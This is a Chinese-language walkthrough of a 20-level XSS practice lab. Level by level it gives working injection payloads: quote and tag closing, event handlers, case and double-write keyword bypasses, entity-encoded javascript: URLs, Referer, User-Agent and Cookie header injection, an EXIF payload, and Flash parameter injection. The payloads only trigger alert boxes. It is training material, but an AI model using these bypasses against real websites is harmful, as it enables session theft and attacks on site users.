告别卡关!XSS挑战之旅全关卡通关思路详解

server/2025/2/23 11:11:23/

XSS挑战之旅

  • XSS测试思路
  • Level1
  • Level2
  • Level3
  • Level4
  • Level5
  • Level6
  • Level7
  • Level8
  • Level9
  • Level10
  • Level11
  • Level12
  • Level13
  • Level14
  • Level15
  • Level16
  • Level17
  • Level18
  • Level19
  • Level20
    • 免责声明:

XSS测试思路

  • 确定输入输出点:
    寻找URL参数、表单输入、HTTP头(Referer/UA/Cookie)、隐藏参数等注入点。
  • 观察过滤规则: 检查是否过滤尖括号、引号、关键字(如scripton事件)、空格等。
    绕过策略:
    • 闭合标签:如><payload>闭合原有标签。
    • 事件触发:利用onmouseoveronclick等事件。
    • 编码绕过:URL编码(%0A换行)、HTML实体、十六进制编码。
    • 特殊字符替代:用换行符%0A代替空格,双写关键字绕过过滤。
    • 协议利用:javascript:伪协议

Level1

来到关卡
我们发现URL存在?name参数
且参数值回显在网页上
在这里插入图片描述

故尝试操控URL
构造test<
发现网站没有对参数进行恶意字符过滤
在这里插入图片描述
尝试构造payload

<script>alert(1)</script>

成功弹窗
在这里插入图片描述

Level2

可以看到这一关输入点在搜索框在这里插入图片描述

审查元素得知输入的内容在<input>标签的value属性中
在这里插入图片描述
故构造payload时要闭合value的双引号

"><script>alert(1)</script>

在这里插入图片描述

Level3

本关卡输入值被包裹在单引号'
<、>被转义
故需通过单引号闭合的同时
利用标签原有属性(如onmouseover)注入事件绕过尖括号的过滤
构造' onmouseover=alert(1)//(注:换行符可以绕过闭合)
鼠标悬停输入框时触发弹窗
在这里插入图片描述

Level4

本关与Level3类似
但闭合符号变为双引号"
且尖括号被过滤。
故需通过双引号闭合并利用事件属性绕过
构造" onmouseover=alert(1)//
在这里插入图片描述

Level5

本关<script>on事件关键字被过滤
故需使用非脚本标签(如<a>)的href属性结合javascript:伪协议利用漏洞
构造"><a href='javascript:alert(1)'>点击触发</a>
这里闭合双引号后插入<a>标签在这里插入图片描述

点击链接触发弹窗
在这里插入图片描述

Level6

该关卡对script、href等关键词进行过滤
但发现未处理大小写混合情况。
故通过将标签属性或事件名改为大写绕过过滤
构造payload

"><Script>alert(1)</script>

在这里插入图片描述
构造payload2

"><Img Src=x OnError=alert(1)>

在这里插入图片描述
构造payload3

"><a Href=javascript:alert(1)>click</a>

在这里插入图片描述
在这里插入图片描述

Level7

本关卡对关键词进行删除处理(如script会被删除)
故需通过双写关键词绕过
例如scscriptript会被过滤为script
构造payload1
在这里插入图片描述
构造payload2

" oonnclick=alert(1)//(双写on为oonn,提交完点击输入框后即可弹窗,`//`这个符号不能省略)

在这里插入图片描述

Level8

该关卡对javascript:协议进行严格过滤
故我们需通过HTML实体编码或Unicode绕过
因为浏览器会自动解码HTML实体或Unicode字符,最终执行原始代码。
构造payload1

javascrip&#x74;:alert(1)(`t`的十六进制编码,点击链接弹窗)

在这里插入图片描述
构造payload2
使用Unicode编码:

javasc&#x0072;ipt:alert(1)

在这里插入图片描述

Level9

该关卡要求输入内容包含http://,否则不执行
故我们需在JavaScript伪协议后添加注释或合法URL
由于校验仅检查是否存在http://,注释部分不影响代码执行。
故构造payload

javascrip&#x74;:alert(1)//http://(编码+注释)

在这里插入图片描述

Level10

本关没有输入框
猜测该关卡通过隐藏参数t_sort注入
在这里插入图片描述
故我们需闭合value属性并插入事件
原理是闭合value的引号后
通过type="text"将隐藏输入框变为可见
并绑定事件触发弹窗
构造payload1

?keyword=test&t_sort=" type="text" onclick="alert(1)

在这里插入图片描述
在这里插入图片描述
点击输入框即可弹窗
在这里插入图片描述
构造payload2

?keyword=test&t_sort=" onmouseover=alert(1) type="text"(鼠标悬停触发弹窗)

在这里插入图片描述
构造payload3

?t_sort=8888" type="text" onfocus="alert(1)

在这里插入图片描述

Level11

本关卡依然没有输入框
猜测页面隐藏的<input>标签中,t_ref参数从HTTP头的Referer获取值
故需通过修改Referer头闭合标签并插入事件触发XSS
这里使用BP拦截请求
目的闭合value属性并添加事件
修改Referer头为:

Referer: " onmouseover="alert(1)" type="text"  

在这里插入图片描述

在这里插入图片描述

Level12

类似Level11
但注入点为User-Agent头,对应隐藏参数t_ua
本关需构造User-Agent值闭合标签并插入事件
故修改User-Agent头为:

User-Agent: " onclick="alert(1)" type="text  (点击输入框触发弹窗)

在这里插入图片描述
在这里插入图片描述

Level13

本关注入点位于Cookie中的user参数
故需修改Cookie值闭合标签并添加事件
bp抓包修改Cookie值为:

Cookie: user=" onclick="alert(1)" type="text  (点击输入框触发弹窗)

在这里插入图片描述
在这里插入图片描述

Level14

本关由于网络原因链接打不开了
在这里插入图片描述
故给出思路
页面通过<iframe>加载外部图片查看器
理论上需利用图片EXIF信息注入XSS
即需上传包含恶意脚本的图片,利用解析EXIF的漏洞触发XSS

  • 使用工具(如exiftool)修改图片EXIF注释:
exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg  
  • 上传图片并让页面解析。

Level15

本关只有一张图
在这里插入图片描述
由于本关页面使用AngularJSng-include动态包含文件
即可以通过src参数引用外部文件
则我们利用ng-include包含存在漏洞的Level1页面
并传递XSS Payload
构造URL参数

http://靶场地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'  

在这里插入图片描述

Level16

该关卡过滤了空格和script关键字
但未过滤尖括号
由于HTML中换行符%0a%0d可替代空格,可以用于拼接事件属性。
故构造payload

<img%0dsrc=a%0donerror=alert(1)>

在这里插入图片描述

Level17

本关输入点主要位于URL参数中
具体为arg01arg02
且网页将用户输入的arg01arg02参数直接拼接在<embed>标签的src属性中例如:

 <embed src="xsf01.swf?arg01=value1&arg02=value2" ...>

而过滤机制方面网页对<、>空格进行了过滤
但保留了on关键字
故构造payload

arg01=a&arg02=%20onmouseover=alert`1`(这里临时更换浏览器是因为火狐不兼容flash事件触发)

在这里插入图片描述

Level18

本关payloadlevel17

arg01=a&arg02=%20onmouseover=alert`1`

在这里插入图片描述

Level19

本关是Flash XSS漏洞
故需要利用Flash文件(.swf)的参数处理缺陷
通过分析反编译后的Flash代码(如使用JPEXS工具)
发现arg01=version时,arg02的值会被拼接到Flash的链接逻辑中
而虽然参数通过htmlspecialchars实体化处理
Flash内部未对href属性内容充分过滤
且允许通过javascript:协议执行代码
故可以构造payload

构造关键:
arg01需设置为version 触发Flash中特定逻辑
arg02需构造包含恶意代码的HTML标签
通过<a>标签的href属性注入javascript:协议代码

得到:

?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

在这里插入图片描述

Level20

本关通过<embed>标签加载xsf04.swf文件(实际为zeroclipboard.swf的漏洞版本)
而存在核心漏洞是Flash代码未对参数进行严格过滤
导致通过URL参数注入恶意代码
故反编译zeroclipboard.swf后分析源码

 public class ZeroClipboard extends Sprite{private var button:Sprite;private var id:String = "";private var clipText:String = "";public function ZeroClipboard(){super();stage.scaleMode = StageScaleMode.EXACT_FIT;Security.allowDomain("*");var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;id = flashvars.id;button = new Sprite();button.buttonMode = true;button.useHandCursor = true;button.graphics.beginFill(13434624);button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));button.alpha = 0;addChild(button);button.addEventListener(MouseEvent.CLICK,clickHandler);button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*{ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);});button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*{ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);});button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*{ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);});button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*{ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);});ExternalInterface.addCallback("setHandCursor",setHandCursor);ExternalInterface.addCallback("setText",setText);ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);}public function setHandCursor(param1:Boolean) : *{button.useHandCursor = param1;}private function clickHandler(param1:Event) : void{System.setClipboard(clipText);ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);}public function setText(param1:*) : *{clipText = param1;}}
}

可以看到Flash通过LoaderInfoURL参数arg01arg02中读取值在这里插入图片描述

关键漏洞函数为ExternalInterface.call在这里插入图片描述

用于与JavaScript交互。
故需构造参数闭合arg02原有逻辑并插入恶意代码。
得到:

?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height

在这里插入图片描述

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。


http://www.ppmy.cn/server/170111.html

相关文章

C从入门到放弃篇1

各位新入坑C语言的朋友&#xff0c;你们有福了因为你们遇到了我&#xff0c;我会带你放弃C语言&#xff0c;哈哈哈哈哈。 其实&#xff0c;学任何东西都是循序渐进的&#xff0c;在学习的初期投入更多的精力&#xff0c;将来你会越学越快。我相信&#xff0c;放弃是最容易的事…

把 vscode 伪装成 goland

goland 开发项目太卡了&#xff0c;想换到更轻量级的 vscode&#xff0c;但是用久了 goland&#xff0c; vscode 的界面风格和快捷键又看不习惯和用不习惯&#xff0c;所以把 vscode 改成了跟 goland 一样的使用方式。 下载 2个插件 安装插件「JetBrains IDE Keymap」可以让 vs…

区块链相关方法-SWOT分析

1.SWOT 一、定义:一种基于内外部竞争环境和竞争条件下的态势分析&#xff0c;通过对企业的内外环境所形成的优势&#xff08;Strengths&#xff09;、劣势&#xff08;Weaknesses&#xff09;、机会&#xff08;Opportunities&#xff09;和威胁&#xff08;Threats&#xff0…

stm32108键C-B全调性_动态可视化乐谱钢琴

108键全调性钢琴 一 基本介绍1 项目简介2 实现方式3 项目构成 二 实现过程0 前置基本外设驱动1 声音控制2 乐谱录入&基础乐理3 点阵屏谱点动态刷新4 项目交互控制5 录入新曲子过程 三 展示&#xff0c;与链接视频地址1 主要功能函数一览2 下载链接3 视频效果 一 基本介绍 …

Unity中点乘和叉乘对于我们来说的作用是什么?

在 Unity 中&#xff0c;点乘&#xff08;Dot Product&#xff09;和叉乘&#xff08;Cross Product&#xff09;是向量运算里非常重要的操作&#xff0c;在游戏开发、动画制作、物理模拟等多个方面都有着广泛的应用。 目录 1 点乘 2 叉乘 1 点乘 通过点乘公式 &#xff0c…

DeepSeek行业应用实践报告-智灵动力【112页PPT全】

DeepSeek&#xff08;深度搜索&#xff09;近期引发广泛关注并成为众多企业/开发者争相接入的现象&#xff0c;主要源于其在技术突破、市场需求适配性及生态建设等方面的综合优势。以下是关键原因分析&#xff1a; 一、技术核心优势 开源与低成本 DeepSeek基于开源架构&#xf…

分布式与集群,二者区别是什么?

??分布式 分布式系统是由多个独立的计算机节点组成的系统&#xff0c;这些节点通过网络协作完成任务。每个节点都有自己的独立计算能力和存储能力&#xff0c;可以独立运行。分布式系统的目标是提高系统的可靠性、可扩展性和性能。 分布式服务包含的技术和理论 负载均衡&am…

Jmeter HTTP代理服务器录制压力脚本

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 从loadrunner到jmeter&#xff0c;录制压力测试脚本好像都只支持IE&#xff0c;近来才知道jmeter还有自带的录制脚本元件&#xff0c;且支持IE、Chrome及Firefox等…